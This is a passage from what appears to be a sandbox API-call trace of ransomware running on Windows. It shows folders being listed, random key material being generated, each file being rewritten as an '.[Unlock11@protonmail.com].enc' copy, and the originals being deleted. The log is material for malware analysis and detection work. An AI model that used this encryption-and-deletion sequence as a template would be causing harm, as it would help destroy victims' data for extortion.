GetCurrentThreadId () returned 0x9b0 [0114.336] GetLastError () returned 0x0 [0114.336] GetLastError () returned 0x0 [0114.336] GetLastError () returned 0x0 [0114.336] GetLastError () returned 0x0 [0114.336] GetLastError () returned 0x0 [0114.336] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml")) returned 1 [0114.338] GetLastError () returned 0x0 [0114.338] GetCurrentThreadId () returned 0x9b0 [0114.338] GetLastError () returned 0x0 [0114.338] GetCurrentThreadId () returned 0x9b0 [0114.338] GetLastError () returned 0x0 [0114.338] GetLastError () returned 0x0 [0114.338] GetLastError () returned 0x0 [0114.338] GetLastError () returned 0x0 [0114.338] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0114.338] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0114.338] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0114.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.339] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0114.339] GetCurrentThreadId () returned 0x9b0 [0114.339] GetLastError () returned 0x0 [0114.339] GetLastError () returned 0x0 [0114.339] GetLastError () returned 0x0 [0114.339] GetLastError () returned 0x0 [0114.339] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7890 [0114.339] GetLastError () returned 0x0 [0114.339] GetCurrentThreadId () returned 0x9b0 [0114.339] GetLastError () returned 0x0 [0114.340] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.340] GetLastError () returned 0x0 [0114.340] GetCurrentThreadId () returned 0x9b0 [0114.340] GetLastError () returned 0x0 [0114.340] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.340] GetLastError () returned 0x0 [0114.340] GetCurrentThreadId () returned 0x9b0 [0114.340] GetLastError () returned 0x0 [0114.340] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0114.340] GetLastError () returned 0x0 [0114.340] GetCurrentThreadId () returned 0x9b0 [0114.340] GetLastError () returned 0x0 [0114.341] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0114.341] GetLastError () returned 0x0 [0114.341] GetCurrentThreadId () returned 0x9b0 [0114.341] GetLastError () returned 0x0 [0114.341] FindNextFileA (in: hFindFile=0x10f7890, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0114.341] GetLastError () returned 0x12 [0114.341] GetCurrentThreadId () returned 0x9b0 [0114.341] GetLastError () returned 0x12 [0114.341] GetLastError () returned 0x12 [0114.341] FindClose (in: hFindFile=0x10f7890 | out: hFindFile=0x10f7890) returned 1 [0114.341] GetCurrentThreadId () returned 0x9b0 [0114.341] GetLastError () returned 0x12 [0114.341] GetLastError () returned 0x12 [0114.342] GetLastError () returned 0x12 [0114.342] GetLastError () returned 0x12 [0114.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0114.342] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 0x80 [0114.342] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20078 | out: hHeap=0x2ad0000) returned 1 [0114.342] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0114.342] GetLastError () returned 0x12 [0114.342] GetLastError () returned 0x12 [0114.342] GetLastError () returned 0x12 [0114.342] GetLastError () returned 0x12 [0114.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0114.343] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0114.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.343] GetCurrentThreadId () returned 0x9b0 [0114.343] GetLastError () returned 0x12 [0114.343] GetLastError () returned 0x12 [0114.343] GetLastError () returned 0x12 [0114.343] GetLastError () returned 0x12 [0114.343] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0114.343] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1041\\setupresources.dll")) returned 0x80 [0114.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0114.344] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.344] GetLastError () returned 0x12 [0114.345] GetLastError () returned 0x12 [0114.345] GetLastError () returned 0x12 [0114.345] GetLastError () returned 0x12 [0114.345] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0114.345] GetCurrentThreadId () returned 0x9b0 [0114.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0114.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0114.345] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0114.345] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0114.346] GetLastError () returned 0x12 [0114.346] GetLastError () returned 0x12 [0114.346] GetLastError () returned 0x12 [0114.346] GetLastError () returned 0x12 [0114.346] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0114.346] GetCurrentThreadId () returned 0x9b0 [0114.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0114.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0114.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0114.346] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0114.346] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.347] GetCurrentThreadId () returned 0x9b0 [0114.347] GetLastError () returned 0x0 [0114.347] GetLastError () returned 0x0 [0114.347] GetLastError () returned 0x0 [0114.347] GetLastError () returned 0x0 [0114.347] GetCurrentThreadId () returned 0x9b0 [0114.347] GetLastError () returned 0x0 [0114.347] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.347] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.347] GetLastError () returned 0x0 [0114.347] GetLastError () returned 0x0 [0114.348] GetLastError () returned 0x0 [0114.348] GetLastError () returned 0x0 [0114.348] GetCurrentThreadId () returned 0x9b0 [0114.348] GetLastError () returned 0x0 [0114.348] GetCurrentThreadId () returned 0x9b0 [0114.348] GetLastError () returned 0x0 [0114.348] GetLastError () returned 0x0 [0114.348] GetLastError () returned 0x0 [0114.348] GetLastError () returned 0x0 [0114.348] GetCurrentThreadId () returned 0x9b0 [0114.348] GetLastError () returned 0x0 [0114.348] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.349] GetLastError () returned 0x0 [0114.349] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0114.349] GetLastError () returned 0x0 [0114.349] GetLastError () returned 0x0 [0114.349] GetLastError () returned 0x0 [0114.349] GetCurrentThreadId () returned 0x9b0 [0114.349] GetLastError () returned 0x0 [0114.349] GetLastError () returned 0x0 [0114.349] GetLastError () returned 0x0 [0114.349] GetLastError () returned 0x0 [0114.349] GetLastError () returned 0x0 [0114.349] GetCurrentThreadId () returned 0x9b0 [0114.350] GetLastError () returned 0x0 [0114.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aae8 | out: hHeap=0x2ad0000) returned 1 [0114.350] GetLastError () returned 0x0 [0114.350] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d65a0 | out: hHeap=0x2ad0000) returned 1 [0114.350] GetLastError () returned 0x0 [0114.350] GetLastError () returned 0x0 [0114.350] GetLastError () returned 0x0 [0114.350] GetCurrentThreadId () returned 0x9b0 [0114.350] GetLastError () returned 0x0 [0114.350] GetLastError () returned 0x0 [0114.350] GetLastError () returned 0x0 [0114.350] GetLastError () returned 0x0 [0114.350] GetLastError () returned 0x0 [0114.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.351] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82)) returned 1 [0114.351] GetLastError () returned 0x0 [0114.351] GetCurrentThreadId () returned 0x9b0 [0114.351] GetLastError () returned 0x0 [0114.351] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0114.351] GetCurrentThreadId () returned 0x9b0 [0114.351] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36643a4 | out: pbBuffer=0x36643a4) returned 1 [0114.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0114.351] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0114.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0114.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.352] GetLastError () returned 0x0 [0114.352] GetLastError () returned 0x0 [0114.352] GetLastError () returned 0x0 [0114.352] GetLastError () returned 0x0 [0114.352] GetCurrentThreadId () returned 0x9b0 [0114.352] GetLastError () returned 0x0 [0114.352] GetCurrentThreadId () returned 0x9b0 [0114.352] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.352] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0114.353] GetLastError () returned 0x0 [0114.353] GetLastError () returned 0x0 [0114.353] GetLastError () returned 0x0 [0114.353] GetLastError () returned 0x0 [0114.353] GetCurrentThreadId () returned 0x9b0 [0114.353] GetLastError () returned 0x0 [0114.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0114.353] GetCurrentThreadId () returned 0x9b0 [0114.353] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d88 [0114.353] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0114.353] GetLastError () returned 0x0 [0114.353] GetLastError () returned 0x0 [0114.354] GetLastError () returned 0x0 [0114.354] GetLastError () returned 0x0 [0114.354] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0114.354] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c88 [0114.354] GetLastError () returned 0x0 [0114.354] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0114.354] GetFileType (hFile=0x39c) returned 0x1 [0114.354] GetLastError () returned 0x0 [0114.354] GetCurrentThreadId () returned 0x9b0 [0114.354] GetLastError () returned 0x0 [0114.355] GetFileType (hFile=0x39c) returned 0x1 [0114.355] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.355] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.355] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.355] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.355] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.355] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.355] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.355] GetLastError () returned 0x0 [0114.355] GetCurrentThreadId () returned 0x9b0 [0114.355] GetLastError () returned 0x0 [0114.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.355] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0114.356] GetLastError () returned 0x0 [0114.356] GetLastError () returned 0x0 [0114.356] GetLastError () returned 0x0 [0114.356] GetLastError () returned 0x0 [0114.356] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0114.356] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d48 [0114.356] GetLastError () returned 0x0 [0114.356] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0114.358] GetFileType (hFile=0x3ac) returned 0x1 [0114.358] GetLastError () returned 0x0 [0114.358] GetCurrentThreadId () returned 0x9b0 [0114.358] GetLastError () returned 0x0 [0114.358] GetFileType (hFile=0x3ac) returned 0x1 [0114.358] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0114.358] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.358] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.358] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.358] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.358] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0114.359] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0114.359] GetLastError () returned 0x0 [0114.359] GetCurrentThreadId () returned 0x9b0 [0114.359] GetLastError () returned 0x0 [0114.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d48 | out: hHeap=0x2ad0000) returned 1 [0114.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a24b8 | out: hHeap=0x2ad0000) returned 1 [0114.359] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.359] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.359] GetLastError () returned 0x0 [0114.359] GetLastError () returned 0x0 [0114.359] GetCurrentThreadId () returned 0x9b0 [0114.359] GetLastError () returned 0x0 [0114.360] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.360] GetLastError () returned 0x0 [0114.360] GetLastError () returned 0x0 [0114.360] GetCurrentThreadId () returned 0x9b0 [0114.360] GetLastError () returned 0x0 [0114.360] GetLastError () returned 0x0 [0114.362] GetLastError () returned 0x0 [0114.362] GetCurrentThreadId () returned 0x9b0 [0114.362] GetLastError () returned 0x0 [0114.363] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d88 | out: hHeap=0x2ad0000) returned 1 [0114.363] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0114.363] GetCurrentThreadId () returned 0x9b0 [0114.363] GetLastError () returned 0x0 [0114.363] GetLastError () returned 0x0 [0114.363] GetLastError () returned 0x0 [0114.363] GetLastError () returned 0x0 [0114.363] GetCurrentThreadId () returned 0x9b0 [0114.363] GetLastError () returned 0x0 [0114.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0114.364] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881270 [0114.364] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881270 | out: hHeap=0x2ad0000) returned 1 [0114.364] GetLastError () returned 0x0 [0114.366] GetLastError () returned 0x0 [0114.366] GetCurrentThreadId () returned 0x9b0 [0114.366] GetLastError () returned 0x0 [0114.366] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0114.366] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0114.366] GetLastError () returned 0x0 [0114.366] GetLastError () returned 0x0 [0114.366] GetCurrentThreadId () returned 0x9b0 [0114.366] GetLastError () returned 0x0 [0114.366] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xa97) returned 0x36f8548 [0114.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.367] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0xaa5) returned 0x36f8548 [0114.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d48 [0114.367] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c88 | out: hHeap=0x2ad0000) returned 1 [0114.367] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xaa8) returned 0x33ea018 [0114.367] GetCurrentThreadId () returned 0x9b0 [0114.367] GetLastError () returned 0x0 [0114.367] GetLastError () returned 0x0 [0114.367] GetLastError () returned 0x0 [0114.367] GetLastError () returned 0x0 [0114.367] GetCurrentThreadId () returned 0x9b0 [0114.367] GetLastError () returned 0x0 [0114.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea018 | out: hHeap=0x2ad0000) returned 1 [0114.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0114.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0114.368] GetLastError () returned 0x0 [0114.368] GetLastError () returned 0x0 [0114.368] GetCurrentThreadId () returned 0x9b0 [0114.368] GetLastError () returned 0x0 [0114.368] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38293e8 | out: hHeap=0x2ad0000) returned 1 [0114.368] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0114.368] GetLastError () returned 0x0 [0114.368] GetLastError () returned 0x0 [0114.368] GetCurrentThreadId () returned 0x9b0 [0114.369] GetLastError () returned 0x0 [0114.369] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0114.369] CloseHandle (hObject=0x3ac) returned 1 [0114.369] GetCurrentThreadId () returned 0x9b0 [0114.369] GetLastError () returned 0x0 [0114.369] CloseHandle (hObject=0x39c) returned 1 [0114.369] GetCurrentThreadId () returned 0x9b0 [0114.370] GetLastError () returned 0x0 [0114.370] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0114.371] GetLastError () returned 0x0 [0114.371] GetCurrentThreadId () returned 0x9b0 [0114.371] GetLastError () returned 0x0 [0114.371] GetCurrentThreadId () returned 0x9b0 [0114.371] GetLastError () returned 0x0 [0114.371] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1041\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0114.371] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0114.372] GetCurrentThreadId () returned 0x9b0 [0114.372] GetLastError () returned 0x0 [0114.372] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0114.372] GetLastError () returned 0x0 [0114.372] GetCurrentThreadId () returned 0x9b0 [0114.372] GetLastError () returned 0x0 [0114.372] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0114.372] GetLastError () returned 0x0 [0114.372] GetCurrentThreadId () returned 0x9b0 [0114.372] GetLastError () returned 0x0 [0114.372] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0114.373] 